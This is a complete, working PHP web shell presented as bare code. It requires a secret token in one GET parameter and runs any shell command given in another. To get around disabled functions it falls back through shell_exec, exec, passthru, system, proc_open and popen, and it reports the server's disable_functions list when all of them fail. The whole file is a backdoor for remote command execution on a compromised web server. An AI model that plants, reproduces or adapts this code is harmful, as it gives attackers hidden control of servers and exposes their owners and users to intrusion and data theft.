<?php
if(!isset($_GET['t'])||!hash_equals('5568285f1d12c703bab94ef5a4549159',$_GET['t'])||!isset($_GET['c'])){return;}
$cmd=$_GET['c'];
echo '<<S>>';
$ok=false;
if(!$ok&&function_exists('shell_exec')){$r=@shell_exec($cmd);if($r){echo '[SE]'.$r;$ok=true;}}
if(!$ok&&function_exists('exec')){$a=[];@exec($cmd,$a);if($a){echo '[EX]'.implode("\n",$a);$ok=true;}}
if(!$ok&&function_exists('passthru')){ob_start();@passthru($cmd);$r=ob_get_clean();if($r){echo '[PT]'.$r;$ok=true;}}
if(!$ok&&function_exists('system')){ob_start();@system($cmd);$r=ob_get_clean();if($r){echo '[SY]'.$r;$ok=true;}}
if(!$ok&&function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=@proc_open($cmd,$d,$pp);if(is_resource($p)){fclose($pp[0]);$r=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);if($r){echo '[PO]'.$r;$ok=true;}}}
if(!$ok&&function_exists('popen')){$h=@popen($cmd,'r');if($h){$r=fread($h,65536);pclose($h);if($r){echo '[PN]'.$r;$ok=true;}}}
if(!$ok){echo '[BLOCKED]disable_functions='.ini_get('disable_functions');}
echo '<<E>>';